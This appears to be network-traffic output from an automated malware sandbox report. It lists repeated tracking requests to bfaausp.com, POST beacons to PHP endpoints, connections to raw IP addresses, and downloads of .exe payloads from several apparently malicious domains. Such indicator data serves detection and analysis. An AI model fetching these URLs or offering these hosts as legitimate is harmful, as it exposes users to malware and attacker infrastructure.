Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bxwabaigaovvsikl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 368Host: humydrole.com
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://apardygeptdtamfx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Source: unknown	TCP traffic detected without corresponding DNS query: 62.141.38.69
Source: unknown	TCP traffic detected without corresponding DNS query: 62.141.38.69
Source: unknown	TCP traffic detected without corresponding DNS query: 62.141.38.69
Source: unknown	TCP traffic detected without corresponding DNS query: 5.59.227.51
Source: unknown	TCP traffic detected without corresponding DNS query: 5.59.227.51
Source: unknown	TCP traffic detected without corresponding DNS query: 209.58.180.90
Source: unknown	TCP traffic detected without corresponding DNS query: 209.58.180.90
Source: unknown	TCP traffic detected without corresponding DNS query: 209.58.180.90
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 5.59.227.51
Source: unknown	TCP traffic detected without corresponding DNS query: 209.58.180.90
Source: unknown	TCP traffic detected without corresponding DNS query: 209.58.180.90
Source: unknown	TCP traffic detected without corresponding DNS query: 209.58.180.90
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.33.45
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.33.45
Source: unknown	TCP traffic detected without corresponding DNS query: 45.66.33.45
Source: unknown	TCP traffic detected without corresponding DNS query: 5.59.227.51
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 5.59.227.51
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193

Source: global traffic	HTTP traffic detected: GET /288c47bbc1871b439df19ff4df68f076.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: shpilliwilli.com
Source: global traffic	HTTP traffic detected: GET /39e5374d27c9d96fc9810d6b8d373df2/288c47bbc1871b439df19ff4df68f076.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: linkofstrumble.com
Source: global traffic	HTTP traffic detected: GET /ftp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: ftpvoyager.cc
Source: global traffic	HTTP traffic detected: GET /order/tuc5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cream.hitsturbo.com
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62dde24353e1d9a943e9d15038842974dbc1dbaf7a1439f538166429e289d5b86953e226c55f676647fc2813369d184da325a5086de04ff12cd HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
